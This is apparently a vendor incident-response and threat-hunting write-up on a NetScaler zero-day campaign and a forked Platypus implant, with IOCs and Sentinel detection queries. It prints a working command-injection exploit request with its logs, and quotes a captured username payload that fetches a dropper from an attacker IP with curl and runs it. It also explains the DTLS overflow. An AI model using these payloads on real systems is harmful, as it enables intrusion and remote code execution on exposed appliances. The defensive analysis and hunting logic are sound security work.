NightBeacon CMD
The SOC platform we built to run our own. Now you choose who runs it.
Tis the season to be jolly. Incident Response Teams everywhere are scrambling to keep up with onslaught of compromises due to the recent Citrix NetScaler 0-day vulnerability. Write-ups are popping up highlighting payloads such as the trusty web shell, to custom adversary toolkits. Grab your big gulp coffee mug and let’s go on a journey we’ve been on before; Remote Management Tools for C2.

Binary Defense’s Analysis on Demand and Incident Response Team (AOD & IR) responded to an event where two Citrix NetScaler devices were potentially compromised. The client was in the process of upgrading their devices in response to mitigation recommendations from the vendor, when a triage collection captured by Citrix identified indicators of exploitation and files being dropped on the hosts.
One of the devices showed signs of exploitation, but there was no evidence of any malicious files or further activity. On the other hand, one of the servers showed signs of a file being dropped and likely executed as a result of exploitation. After reviewing the indicators of compromise, and reversing the payload, AOD & IR believes the file is a custom-built remote management tool for Linux devices called Platypus. The project is hosted on GitHub.
No post-install indicators were observed in the directories that the tool creates in /var/tmp/, which leads us to believe the full install procedure did not fully complete and the registration process with the malicious server failed.
Beginning around 24 September 2026, a campaign targeting internet-facing Citrix NetScaler (ADC/Gateway) appliances drew rapid attention, driven primarily by two zero-days exploited pre-authentication. The following is a condensed technical review of the two underlying flaws. CVE assignments and low-level detail below track watchTowr Labs' public analyses of each vulnerability.
An unauthenticated attacker achieves remote code execution by submitting a crafted value that mimics the NetScaler Packet Processing Engine (NSPPE) packet-engine crash message while smuggling shell commands inside it. NetScaler writes the attacker-controlled string into its logs, and an error-handling script (ns_monuploadd_err.pl) later reads that logged data back as input to a shell command, executing the embedded payload. The root cause is improper input validation, and the default configuration is affected.
The commonly cited entry point is a pre-auth POST to /nf/auth/doAuthentication.do, but the flaw is not endpoint specific. Any endpoint or listener that logs attacker-controlled data from an HTTP header can reach the vulnerable sink. Failed logins, rate-limited or blocked requests, request parameters, and User-Agent values all end up in the logs, so numerous delivery paths exist.
Caveat: execution is not immediate. The injected command runs only when ns_monuploadd_err.pl next executes, which can lag by up to 24 hours; a notable operational detail for both attackers and defenders watching for the second-stage activity.
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded
login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On
The id>/var/tmp/watchTowr fragment is a benign proof-of-execution marker (writing the output of id to a file), not a destructive payload.
HTTP/1.1 200 OK
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
...
<AuthenticateResponse xmlns="">
<Status>success</Status>
<Result>update-credentials</Result>
...
<Credential><SaveID>login</SaveID><ID>username</ID><Type>username</Type></Credential>
<Input><Text><ReadOnly>true</ReadOnly>
<InitialValue>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</InitialValue>
</Text></Input>
...
</AuthenticateResponse>
<local0.info> xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X>, factor <xxxx>, auth type 4129, trans id 1350"
<local1.info> xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X, vsid :11813, userlen 70
<local0.info> xxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
GTIG attributes exploitation of this flaw to a DTLS handshake failure immediately followed by an NSPPE crash. Exploitation requires DTLS to be enabled, which is the default on VPN virtual servers unless an administrator has explicitly set -dtls OFF.
DTLS is TLS carried over UDP. A single UDP packet can hold one or more DTLS records, each opening with a 13-byte record header. When a record carries handshake data, that data begins with an additional 12-byte handshake-fragment header:

The relevant fields:
Because DTLS runs over unreliable UDP, handshake messages can be fragmented and reassembled. A 120-byte message may legitimately arrive as 120 separate fragments, each carrying a single byte (fragment_length=1) at offsets 0 through 119. Once every offset is filled, the server treats the message as complete and joins the pieces — this is reassembly.
NetScaler stores received packet data in NetScaler Buffers (NSBs). Each NSB holds a chunk of packet bytes, its length, and a pointer to the next NSB; chained together they form an NSB chain (a linked list). When DTLS reassembly completes, an NSPPE function flattens that chain into a single fixed-size scratch buffer. The buffer is relatively small (0x8c00 (35,840) bytes) and lives in the .bss section of nsppe.
The malicious records each claim to supply only one byte of a 120-byte handshake message, but NSPPE retains nearly the entire record in its NSB regardless. After 120 such records the message is considered complete, yet the backing NSB chain holds roughly 174 KB of data. The vulnerable function copies the whole chain into the 35,840-byte scratch buffer with no check that it fits, overflowing the .bss buffer.
The flaw lives in nsppe. The vulnerable build issues a memcpy per NSB with no running size check; the patched build tracks the remaining space in the scratch buffer.
Attackers don't need to write their own tools anymore. GitHub is full of capable, open-source projects ready to be forked, tweaked, and turned against their next target. Custom toolkits haven't disappeared, but they're no longer the default. Why spend months building post-compromise tooling when you can download something that already works and make it your own?
Binary Defense's Analysis on Demand (AOD) team saw exactly this while investigating an intrusion that exploited the recent Citrix NetScaler zero-day vulnerabilities CVE-2026-88771 and CVE-2026-88772. After probing to confirm remote code execution, the threat actor dropped a modified build of an open-source remote administration tool onto the appliance.
Remote administration tools are valuable to attackers because they give them everything in one package: easy deployment, remote file access, an interactive shell, and full control of the endpoint.
The actor's starting point was Platypus (github[.]com/WangYihang/Platypus), an open-source remote administration tool written in Go. They modified it and compiled it to run on FreeBSD, the operating system underneath NetScaler, then packaged it as a .pl (Perl) implant. The implant (also called Termite clients), was delivered by a one-shot install script piped from curl into sh.
We found the install command in the NetScaler's ns.log files. It carries a unique, single-use token that validates the install and identifies the server it landed on:
Open-source tooling makes attribution harder. When an attacker builds on a public project, the tool itself points to thousands of possible users instead of one group. And on networks where those same projects are used legitimately, the attacker activity blends into everyday noise.
Some threat groups like CRYSTALRAY and Volt Typhoon have adopted the use of Platypus in the past. In December 2023, Black Lotus Labs unveiled the KV-botnet that was used by China-based APTs, most notably Volt Typhoon, to conduct espionage and intelligence operations targeting U.S. critical infrastructure.
In a Lumen blog post, a similar method is discussed around the deployment of the JDY malware used to create the JDY botnet that compromised IoT and SOHO devices. The deployment of the malware and Platypus to manage the devices was fully automated. From the deployment of the malware down to the deletion of the payload once the malware was executed.
The install script and agent recovered from the appliance weren’t a stock Platypus build. Binary Defense analyzed three artifacts from the intrusion in the malware lab: the FreeBSD agent dropped on the NetScaler, a Windows agent served by the same C2, and the curl | sh bootstrap installer that fetched them. All three come from one private fork of Platypus, and the fork adds an offensive layer that has never appeared in the project’s public history.
The Go build information embedded in each agent tells the story. Both binaries carry the same version string, the same commit, the same build timestamp and the same Ed25519 plugin-signing key. The only differences are the target operating system and the OS-specific dependencies that come with it. The Windows build was packed with UPX 4.22 (LZMA) and the FreeBSD build was left unpacked. The packing is an operator choice and says nothing about the code underneath.
|
Field |
FreeBSD agent |
Windows agent |
|
Toolchain |
go1.26.4 |
go1.26.4 |
|
Version |
0.1.0-SNAPSHOT-4b91c7db |
same |
|
Commit |
4b91c7db061615827f2d333bae4ffe10ddcbb199 |
same |
|
Build date (ldflag) |
2026-09-28T21:02:31Z |
same |
|
Plugin-signing key (Ed25519) |
S8GEj/Ibzw/Zy9Z5u4saQyn0h59enf9Mk3J2m70tTMs= |
same |
|
Build flags |
CGO_ENABLED=0 -s -w, GOARCH=amd64 |
same |
|
GOOS |
freebsd |
windows |
|
Packing |
none |
UPX 4.22, LZMA |
The build date matters. The agents were compiled on 28 September 2026 at 21:02 UTC, and the active ingress certificate on the C2 (covered in the next section) was issued the same evening at 22:00 UTC. The actor built the implant and stood up the server for it within an hour of each other, four days after exploitation of the NetScaler zero-days began.
We compared the binaries against the full public history of the Platypus project, 1,689 commits from 2018 to 2026. Almost everything in the agent is stock: the mutual-TLS enrollment, the interactive PTY shell, file and process operations, the WebAssembly plugin runtime, the mDNS agent mesh (_platypus-mesh._tcp), signed self-update, and host reconnaissance. Upstream even ships a defensive security-audit module that reports weak sudoers entries, SUID binaries and cron jobs.
Two modules have zero hits anywhere in that history and are present in both binaries:
The contrast with upstream is the cleanest way to describe the fork. The public project has a module that audits a host for privilege-escalation weaknesses. The fork adds one that exploits those same weaknesses, plus persistence that dresses itself up as a health monitor and anti-forensics the audit framework has no equivalent of.
The C2 address, enrollment token and trust material aren’t compiled into either agent. The bootstrap script supplies them at runtime, which is why the same binary can be handed to every victim.
The bootstrap installer is a universal curl | sh enrollment script. It detects the OS and architecture, downloads the matching agent from hxxps://entretiensol[.]com/v1/artifacts/<os>/<arch>/latest, and enrolls it against the C2 with a single-use token. Comparing the installer we recovered with the one from the first appliance shows the same project CA and the same ingress CA, but a different token, a different masquerade filename and different install paths.
|
Field |
First appliance |
Second appliance |
|
Ingress CA serial |
E401CB3138B193E7C236EC7DD8B239BA |
same |
|
Project CA serial |
826097A54C1A3A4D9514329C1762924E |
same |
|
Project CA CN |
Platypus project b51a65e0-e20b-444d-950e-8ff34b88c472 |
same |
|
Enrollment token |
<redacted> |
<redacted> |
|
Masquerade filename |
.ns_09343.pl |
ns_827664.pl |
|
Install directory |
/var/tmp/ |
/netscaler.local/ |
|
Data directory |
/var/tmp/.ns_data |
/var/core/.ns-cache/ |
Same project, same C2, two distinct single-use tokens. That lines up with the two NetScaler devices in the engagement, and it means each appliance got its own enrollment rather than a copied binary. The filenames are chosen to look like NetScaler housekeeping. ns_ prefixes are everywhere on the appliance, and /var/core is where the packet engine writes crash dumps, so a .ns-cache directory under it draws no attention.
Static analysis told us what the fork can do. To confirm it runs, we detonated the UPX-packed Windows agent in an isolated sandbox for 382 seconds, with network routed to a sinkhole and the --server argument pointed at the sinkhole rather than the real C2. The real C2 was never contacted.
The agent executed cleanly and Microsoft Defender didn’t block it, which is consistent with its 1-of-65 detection rate on VirusTotal at the time of analysis. It dropped agent.lock in the data directory as an instance lock holding its PID. Then it tried to enroll and kept trying: 248 TLS connection attempts to port 443 and 193 to port 80 over the run, with the retry-and-backoff behavior you’d expect from the cenkalti/backoff dependency it imports. The sandbox raised no signatures.
Nothing past enrollment fired. Mutual-TLS enrollment can’t complete without a live Platypus controller, and we deliberately didn’t provide one. So, the persistence, privilege-escalation, PTY and plugin capabilities are confirmed in code but weren’t exercised in execution. That’s the honest boundary of this analysis. Which persistence method and which masquerade name the operator picked on a real host, and whether more than two hosts were enrolled, are open questions.
entretiensol[.]com was the staging and C2 domain for both appliances. Pivoting on it in passive DNS, certificate transparency and WHOIS history turns a single domain into a cluster of five, a server with a prior life, and a registration pattern that says something about how the operator works.
The C2 presents a self-signed certificate with subject O=Platypus, CN=platypus-ingress and issuer O=Platypus, CN=Platypus project default. Those are the defaults Platypus generates when a server is stood up, and the actor never changed them. The active certificate (SHA-1 thumbprint 43311300529d031058895820fb79fb15afa171bb) is valid from 28 September to 28 October 2026 and lists entretiensol[.]com, localhost, platypus://server/default, 127.0.0.1 and ::1 as subject alternative names.
That thumbprint, and two earlier ones in the same pattern, tie five domains to the same Platypus deployment:
|
Domain |
Resolves to |
How it’s linked |
|
entretiensol[.]com |
195[.]123.233.245 |
Active staging and ingress for the NetScaler payloads |
|
white-guard[.]pro |
195[.]123.233.245 |
Same IP; served the active ingress cert and the 5 September cert |
|
gurerasfalt[.]com |
38[.]180.81.157 |
Shares Platypus ingress cert thumbprints |
|
garyvard[.]com |
104[.]200.67.56 |
Shares Platypus ingress cert thumbprints |
|
hickoryusedauto[.]com |
95[.]133.231.109 |
Shares Platypus ingress cert thumbprints |
The two earlier thumbprints, a8ff7a3154533f5b7af3a7be455e9ac6b9923bff (seen 2 September 2026) and e75699b342f4d1650ac2958b082d9f71beb73f93 (seen 5 September 2026), show the actor rotating default ingress certificates across the cluster for most of September before the 28 September certificate that supported the NetScaler campaign.
Four of the five domains carry WHOIS creation dates from 2016 to 2019. That isn’t a seven-year sleeper operation. The historical records show four unrelated legitimate owners: a Turkish asphalt contractor, a used-car dealership in North Carolina, a French floor-maintenance business and a personal portfolio site. Each domain lapsed, and the actor drop-caught them.
The re-registration is the tell. entretiensol[.]com, garyvard[.]com and hickoryusedauto[.]com were registered at Namecheap on 20 August 2026 at 16:59:02 UTC, in the same second. gurerasfalt[.]com followed eight minutes later at 17:07:02 UTC. All four came up with Namecheap’s default nameservers (dns1/dns2.registrar-servers[.]com), the same eforward1 through eforward5 mail-forwarding records, the same SPF record and the same privacy-proxy registrant handle (3b5f76ecd769308f).
Buying expired domains is a known way around newly-registered-domain heuristic’s. Proxies and sandboxes often flag or isolate traffic to domains under 30 days old, and an aged domain with a clean history sails through. The domains then sat idle for about two weeks before the first Platypus certificate appeared on 2 September.
white-guard[.]pro doesn’t fit the batch. It was registered on 4 June 2026, eleven weeks before the Namecheap purchases, through the Moscow-based registrar REG.RU, with authoritative DNS on REG.RU’s own nameservers (ns1/ns2.reg[.]ru). It points straight at 195[.]123.233.245, the same server that served the NetScaler payloads, and it served both the active ingress certificate and the 5 September one.
Read together, the registrations look like a two-tier design. The .com domains are the disposable, victim-facing tier: cheap, aged, bought through a Western registrar with privacy proxying, and expected to be flagged or seized once the campaign is noticed. The .pro domain is the protected tier. Russian registrars have historically been slow to act on takedown requests from Western security vendors, so an ingress route through REG.RU survives the loss of the Namecheap domains. The server and its administrative foundation were in place in June. The zero-days became usable in late September, and the actor grafted fresh disposable domains onto infrastructure that already existed.
195[.]123.233.245 hosts more than Platypus. The same IP exposes /pixel.gif and /submit.php endpoints, which in the absence of any legitimate site on the host look like a tracking pixel and a form-submission handler for credential or telemetry collection. Threat telemetry from Cluster25 previously tied this IP to a Havoc C2 server. Havoc, Sliver and Platypus have all gained ground with operators looking for alternatives to heavily fingerprinted frameworks like Cobalt Strike, and the move from one open-source C2 to another on the same box fits that pattern.
We don’t attribute this activity to a named group. What the infrastructure supports is a lower-confidence profile. An operator who holds persistent infrastructure under a Russian registrar, cycles aged Western .com domains for victim-facing work, reuses a server across Havoc and Platypus, and had everything ready to go within days of a perimeter-appliance zero-day going public. That matches the operating pattern of financially motivated intrusion operators and initial access brokers working out of Eastern European and CIS jurisdictions, and it doesn’t look like a short-lived opportunist with throwaway kit.
The domain name white-guard is suggestive in two directions and conclusive in neither. It echoes the anti-Bolshevik White Guard of Russian history and Bulgakov’s novel, and it also mimics the branding of a defensive security consultancy, which is a common choice for blending C2 traffic into enterprise egress. We note it and leave it there.
The Binary Defense Threat Hunting team identified key hunting opportunities in relation to current known CVE-2026-88771 and CVE-2026-88772 exploitation strings and webshell indicators. To summarize, CVE-2026-88771 is an improper input validation vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway, and CVE-2026-88772 is a DTLS memory overflow vulnerability. These vulnerabilities affect the following ADC and Gateway versions:
For customers, Citrix strongly recommends installing updated versions of affected ADC/Gateway appliances immediately. This recommendation stems from their September 2026 security bulletin, where a total of eight vulnerabilities were noted. As a quick overview of this bulletin, the eight vulnerabilities can be seen below:
At the time of writing this blog, CVE-2026-88771 and CVE-2026-88772 were the only vulnerabilities noted to be actively exploited in the wild. Both exploited vulnerabilities hold a CVSS of 9.5.
SIEM detection and hunt logic from the behaviors exhibited in the wild and the indicators published by GTIG, watchTowr, and CERT-EU were developed. The exploitation mechanics are covered above. This section describes what those behaviors look like in telemetry, where that telemetry falls short, and how to close the gap.
The queries below are the ones we consider most useful for a client to run or adapt. They are written for Microsoft Sentinel, with the NetScaler NSIP addresses as a variable at the top of each query. These queries were tuned against observed benign activity (firmware upgrades, HA synchronization, and scheduled health checks).
The most important finding is a visibility gap. The NetScaler log classes that typically reach the SIEM are ns.log (SSL, TCP connection, AAA, SSLVPN, ICA), the administrative command audit, and veriexec integrity messages. The Apache httpd access and error logs, SSH logs, shell history (sh.log), and most FreeBSD system messages are not forwarded by default. Several of the most reliable, published indicators exist only in those unforwarded logs:
SIEM-based hunting therefore covers one slice of the attack, and the rest of it can only be found by triaging the appliance itself. This coverage profile reflects a standard syslog-forwarding setup and varies by deployment, so the first step is to confirm what your own appliances forward.
The query below classifies every NetScaler syslog event received by log class, so that a missing class (no http_access or var_log_messages rows, for example) is visible at a glance before any detection query is trusted.
// Log source coverage: which NetScaler log classes reach Sentinel
let nodes = dynamic(["<NSIP nodes>"]);
Syslog
| where Computer in (nodes)
| extend Class = case(
SyslogMessage matches regex @"""(GET|POST|HEAD|PUT)\s", "http_access",
SyslogMessage has_any ("httpd", "File does not exist", "PHP "), "http_error",
SyslogMessage has_any ("pitboss", "qat0", "kernel:"), "var_log_messages",
SyslogMessage has "veriexec", "veriexec",
SyslogMessage has "CMD_EXECUTED", "audit",
SyslogMessage has_any ("sshd", "Accepted", "session opened"), "ssh",
"ns_log_other")
| summarize Events=count(), Last=max(TimeGenerated) by Computer, Class
| order by Computer asc, Events desc
If the result shows only ns_log_other, audit, and veriexec, the appliance is in the default forwarding profile described above and the httpd/system-log indicators in this section must come from the appliance directly.
The practical way to close that gap for a one-time review is the NetScaler technical support bundle. Running show techsupport -notruncate from the CLI on each node (or Configuration > System > Diagnostics > Generate support file in the GUI) writes a collector archive to /var/tmp/support/. The archive contains the full /flash/nsconfig configuration, every file under /var/log and /var/nslog including httpaccess.log, httperror.log, sh.log, bash.log, and messages, any core files written to /var/core in the past week, and the output of a fixed set of show, stat, and shell commands such as the process list. The -notruncate flag matters. Without it, the collector samples large log files rather than copying them, and httpaccess.log on a production Gateway is usually large enough to be sampled. Citrix recommends generating this bundle when compromise is suspected, alongside a Packet Engine core dump and, on VPX, a snapshot of the instance.
Once the bundle is pulled off box, the /var/log contents can be ingested into the SIEM as custom log sources so that the webshell paths, .ico/.sig aliasing, NSPPE crash and pitboss messages, and httpd restart or config edits can be searched with the same tooling and time window as the forwarded telemetry.
The CVE-2026-88771 query in the next section runs unchanged against a custom table once the table and message column names are substituted. Two limits apply. The bundle is a point-in-time copy and only reaches back as far as local log rotation allows, so it should be collected early.
The actor in this campaign scrubbed httpaccess.log entries, so an empty result in the access log is not clearance. The httperror.log entries and the FreeBSD messages crash records are harder to remove and should be weighted accordingly. Where a hardware appliance is headed for full disk imaging, image first, since running the collector writes to /var/tmp.
Both nodes of an HA pair need to be treated as separate evidence sources. Only the primary serves the Gateway virtual servers, so the exploitation requests, the User-Agent payload staging, and any webshell traffic land in the httpd logs of whichever node was primary at the time. Those logs, along with everything else under /var/log and the core files under /var/core, are local to each node and are never synchronized.
An NSPPE crash caused by CVE-2026-88772 can trigger a failover, so the node that is primary when the investigation starts may not be the node that was exploited, and the access log evidence may be sitting on the current secondary. Every query in this section takes both NSIPs for that reason. The on-box collection should do the same: generate the support bundle on both nodes, and when reviewing httpd and shell logs, check which node held the primary role during the exploitation window using the HA state-change entries in ns.log.
HA synchronization also changes what a finding on one node means for the other. Configuration commands propagate from primary to secondary, and the secondary pulls a set of files from the primary automatically every minute. That set includes the following:
The httpd-config persistence and any SSH key or startup-script persistence seen in this campaign will therefore appear on the secondary within a minute of being written to the primary and removing it from only one node does not remove it from the pair. If the uncleaned node later becomes primary, its copy is the one the pair converges on.
The web asset and client plug-in directories where the webshells and aliased .ico/.sig files were dropped (/var/netscaler/gui/, /netscaler/ns_gui/, /var/vpn/) are not in the sync set, so a webshell on one node says nothing about the other, and each node's directories have to be checked individually. Because the two nodes run the same build and the synced paths should be identical, a direct diff of those directories and files between nodes is a quick way to surface files that exist on only one of them.
Both nodes also share the same nsroot and administrative credentials through configuration propagation and sit on the same management network, so an actor with a shell on one node has ready access to the other. None of the vendor advisories reviewed for this report address HA specifically beyond Citrix's instruction to patch active and standby nodes, so the point is worth stating explicitly: an appliance is not clear until both nodes have been triaged.
The exploit writes a fake packet-engine crash message into an attacker-controlled field that NetScaler logs – typically the username on a Gateway login attempt – and it's recorded whether the login succeeds. The maintenance script ns_monuploadd_err.pl later greps the logs for that crash message ("PPE missed too many heartbeats" or "PPE unexpectedly died") and runs whatever follows it as a shell command.
Because the injected field is short, the actor splits the attack in two. Request spam carries the real payload as a base64 string in the HTTP User-Agent header, prefixed with the marker INDEX:, which lands in httpaccess.log. The injected command is then a one-liner that greps the access log for INDEX:, base64-decodes what follows, and pipes it to a shell. The ${IFS} sequences are the shell's Internal Field Separator, which expands to spaces at execution, since a space would break the injection, and b64decode appears in the Python variant of the decoder. The queries key on four things: the trigger phrase, shell syntax following it, ${IFS} or b64decode, and the INDEX: marker.
The AAA and SSLVPN login events are forwarded in ns.log, so the injected username is visible in the SIEM. The query below searches those events in both raw and URL-decoded form, since some log paths encode the field, and labels each hit by what it matched. It also pulls out the attacking client address and, where the injected command fetches a payload, the staging URL, which is normally the fastest pivot to the rest of the intrusion. It carries the published string IOCs as well: the .ctxs.receiver webshell path, the nsgclient18.deb URLs, and the doAuthentication.do endpoint.
// CVE-2026-88771: command injection in gateway authentication and session logs
let nodes = dynamic(["<NSIP nodes>"]);
Syslog
| where Computer in (nodes)
| where SyslogMessage has_any ("AAA", "SSLVPN")
// some log paths URL-encode the injected field; decode before matching
| extend d = coalesce(url_decode(SyslogMessage), SyslogMessage)
// the crash message ns_monuploadd_err.pl greps for, with or without the word pitboss
| extend Trigger = d has "pitboss" or d has "missed too many heartbeats" or d has "unexpectedly died"
| extend Indicator = case(
d has "ctxs.receiver", "webshell_path",
d has "nsgclient18", "deb_webshell_url",
d has "doAuthentication", "doAuthentication_endpoint",
d contains "INDEX:", "index_marker",
Trigger and (d contains "${IFS}" or d has "b64decode"), "trigger_with_obfuscation",
Trigger and d matches regex @"[;|`]|\$\(|\b(sh|bash|curl|wget|fetch|base64)\b", "trigger_with_shell_syntax",
d contains "${IFS}" or d has "b64decode", "IFS_or_b64decode",
d matches regex @"Browser(_type)?\s+""?[A-Za-z0-9+/]{40,}={0,2}", "base64_user_agent",
"")
| where isnotempty(Indicator)
// benign: the HA file-sync daemon registers a pitboss watch at startup
| where not(d has_all ("Adding pitboss watch", "nsfsyncd"))
| extend ClientIP = extract(@"Client_ip\s+(\d{1,3}(?:\.\d{1,3}){3})", 1, d)
| extend StageUrl = extract(@"(https?:/{1,2}[^\s;|`>${}]+)", 1, d)
| project TimeGenerated, Computer, Indicator, ClientIP, StageUrl, d
| order by TimeGenerated asc
A real hit looks like the following, taken from a related Binary Defense incident with the appliance name and session identifiers removed. The username field holds the trigger phrase followed by a curl download and execution of a dropper, with ${IFS} in place of every space.
|
AAA LOGIN_FAILED : User pitboss PPE unexpectedly died NSPPE curl${IFS}-k${IFS}hxxp[:]//62.133.62[.]80:80/xd7h/x>/.x sh${IFS}/.x # - Client_ip 38.44.228[.]13 - Failure_reason "External authentication server denied access" |
The User-Agent half of the attack is a different problem. It is written only to httpaccess.log, which is not forwarded, so the SIEM cannot see the appliance's own copy. Where Microsoft Defender for Endpoint inspects HTTP on enrolled hosts, the same marker is visible tenant-wide in the network inspection events. The query below finds any inspected HTTP request whose User-Agent carries INDEX: followed by base64, decodes it, and flags decoded content that contains shell commands. This catches an internal host spraying the exploit, but not requests the appliance serves to itself.
// Base64 payloads staged in HTTP User-Agent headers with the INDEX: marker, across MDE-enrolled hosts
DeviceNetworkEvents
| where ActionType == "HttpConnectionInspected"
| where isnotempty(AdditionalFields)
| extend fields = parse_json(AdditionalFields)
| extend userAgent = tostring(fields.user_agent), method = tostring(fields.method), uri = tostring(fields.uri)
| where userAgent contains "INDEX:"
| extend B64 = extract(@"INDEX:([A-Za-z0-9+/]{12,}={0,2})", 1, userAgent)
| where isnotempty(B64)
| extend Decoded = replace_regex(base64_decode_tostring(B64), @"[^\x20-\x7E]", ".")
| extend ShellHit = Decoded has_any ("chmod", "/bin/", "sh", "bash", "curl", "wget", "php", "httpd.conf", "echo", "base64")
| project TimeGenerated, DeviceName, LocalIP, RemoteIP, RemotePort, method, uri, ShellHit, Decoded, userAgent
| order by ShellHit desc, TimeGenerated asc
GTIG reported that successful exploitation of the DTLS vulnerability leaves two artifacts: an SSL handshake failure in ns.log, and an NSPPE crash in the FreeBSD system log. The handshake failure is forwarded and has a narrow signature, a DTLSv1.0 SSL_HANDSHAKE_FAILURE with an "Internal Error" reason, that does not occur in normal client behavior against the environments we reviewed.
The query below counts those failures by client and virtual server, so a single source hitting the Gateway VIP repeatedly stands out. The paired NSPPE crash is not forwarded. It appears in /var/log/messages as a pitboss line reporting that it is not restarting the engine, and in a new core file under /var/core, both of which are in the support bundle.
// CVE-2026-88772: DTLS exploit-pattern handshake failures
let nodes = dynamic(["<NSIP nodes>"]);
Syslog
| where Computer in (nodes)
| where SyslogMessage has "SSL_HANDSHAKE_FAILURE" and SyslogMessage has "DTLSv1.0" and SyslogMessage has "Internal Error"
| extend ClientIP = extract(@"ClientIP\s+(\d{1,3}(?:\.\d{1,3}){3})", 1, SyslogMessage)
| extend VserverIP = extract(@"VserverServiceIP\s+(\d{1,3}(?:\.\d{1,3}){3})", 1, SyslogMessage)
| summarize Hits=count(), First=min(TimeGenerated), Last=max(TimeGenerated) by Computer, ClientIP, VserverIP
| order by Hits desc
The remaining hunts cover what an actor does after either exploit succeeds, and all of them run against logs that are forwarded by default. veriexec reports any binary executed without a signed fingerprint, which is how a dropped webshell interpreter or tunneler shows up; firmware upgrades and bulk static-asset reads by the integrity checker were excluded as known noise. The administrative command audit (CMD_EXECUTED) was reviewed for shell sessions and SCP or SFTP file transfers from any source address and user not in an approved baseline of management consoles, discovery tools, and the HA peer.
The two GTIG-published C2 addresses were searched directly. Connection records (CONN_TERMINATE) were used to list every appliance-owned address making outbound connections to public IP space, and separately every connection originating from the NSIP, since the management plane is where a webshell or tunneler would run and legitimate NSIP egress is limited to directory and time services. DNS and firewall logs, together with MDE network events, were searched for lookups of instances[.]httpworkbench[.]com subdomains, the out-of-band callback domain Lupovis observed and PitScaler summarized, and for the payload hosts, RMM installer, and /.x dropper indicators from the related Binary Defense incident shown above. Those queries are environment-specific because of their allowlists and are available on request.
The exploit queries above find the way in. The fork leaves its own trail, on the appliance, on any Windows host that gets enrolled, and on the network. Most of what follows is behavior rather than hashes. The agents are cross compiled from one tree, so a rebuild changes every hash and none of the behavior.
On the NetScaler. None of this reaches the SIEM by default (see “What the SIEM can and cannot see”), so it comes from the support bundle or a live shell on each HA node.
On Windows. The Windows agent served from the same C2 carries the same two modules. If the actor pivots from the appliance into the Windows estate, these are the behaviors to query in MDE or Sentinel.
On the network. Search DNS, proxy, firewall and MDE network events for entretiensol[.]com and the other four domains in the cluster, for the three IPs they resolve to, and for TLS sessions presenting the three platypus-ingress certificate thumbprints or the JARM fingerprint 40d40d40d00000000043d43d00043dabadbb43f9614a00c843a4ecd074ab81. Any appliance-initiated connection to /v1/artifacts/ or /api/v1/install/ paths is a hit. Don’t fetch those URLs yourself.
YARA. Binary Defense wrote two rules for the fork: one that matches both agents across operating systems and through recompiles by keying on the rootesc and selfpersist markers, and one for the bootstrap installer. Both were tested clean against benign Go binaries.
For detecting these specific vulnerabilities, CVE-2026-88771 follows a pattern that has been observed for several other Netscaler vulnerabilities that also rely on pre-authentication abuse (most notably CVE-2023-4966 & CVE-2025-5777) where the malicious content appears within the Authentication chain, posted as either the user’s Name or User Agent. We have observed this content within the `FAILED_LOGIN` event class or within the debug messages for the AAA Deamon (Noted via “AAAD API/AAAD RESP”) within the relevant logging. The `FAILED_LOGIN` event is arguably better for hunting as it provides the immediate client IP attempting to perform the exploit and saves a couple pivots – but both are clear indicators, nonetheless.
CVE-2026-88772 is unfortunately a little less obvious with its footprint – but the most relevant and available telemetry within the Netscaler Management logging is the `SSL_HANDSHAKE_FAILURE` event ; specifically, where the ClientVersion is `DTLSv1.0` and the reason is `Handshake failure-Internal Error`. This is observed from multiple sources to be an artifact post-abuse – but if the protocol is not normally utilized, a potential clear smoking gun.
One of the difficult truths of detecting CVEs is that we are working against the clock. While some attacking groups may be aware of a vulnerability – once it reaches publicity, attackers will identify an easy-to-abuse method and quickly look for any public-facing devices with such a service hosted. This means for us – as Defenders – may be quickly working to patch, hunt, detect in order to ensure we have not been taken advantage of.
Outside of the “patch everything ASAP” requirement for our Edge devices – bolstering monitoring for your specific Netscaler environment may not be as difficult to implement as you think. While the installation of typical EDR or other host monitoring software may be a non-possibility, there are other logs you can pay attention to in order to achieve a watchful eye. The most important piece of evidence as observed within these cases is the two shell logs provided by the Netscaler appliance (bash.log / sh.log). While there may be some legitimate scripts and maintenance being performed within these logs, any interactive usage here is generally worth noting – especially when abusing staging commands to install other programs. Auditing the current installed LOLBins provided with the underlying OS can help identify where you should monitor. If you are not yet forwarding these at a minimum for forensic evidence you should.
There is also recorded forensic evidence within the differing HTTP access logs for each of these vulnerabilities (httpaccess.log, httperror.log, httpaccess-vpn.log, httperror-vpn.log). These can help identify the underlying information with the sent HTTP requests to suggest webshells or other telemetery abuse. However, it is worth noting that recording these events along with the aforementioned management/shell logs may add significant cost depending upon where your logs live. Depending on your current patching patterns and expected risk for these devices, these may be a plausibility to include so you have vigorous logging on these devices.
The second option for monitoring your Edge devices that is commonly forgotten about – is watching for any Egress traffic leaving these appliances that deviates from the norm. Generally, the intent for these devices is to handle inbound traffic (whether it be from the outside web – or connections initiated by an internal user). Traffic initiated by the appliance should generally be uncommon and can be a clear indicator when an attacker is staging a malicious tool or potentially communicating back home to say, “I made it in”. While these won’t be within your Netscaler’s logs – you should take advantage of any Firewall or Network Monitoring appliances that keep a watchful eye over these tools as it may tell you something is awry – even if a CVE hasn’t been released to the public yet.
|
Value |
Type |
Description |
|
Hxxp[:]//31[.]56[.]197.72/kk |
URL |
One of the exploit payloads |
|
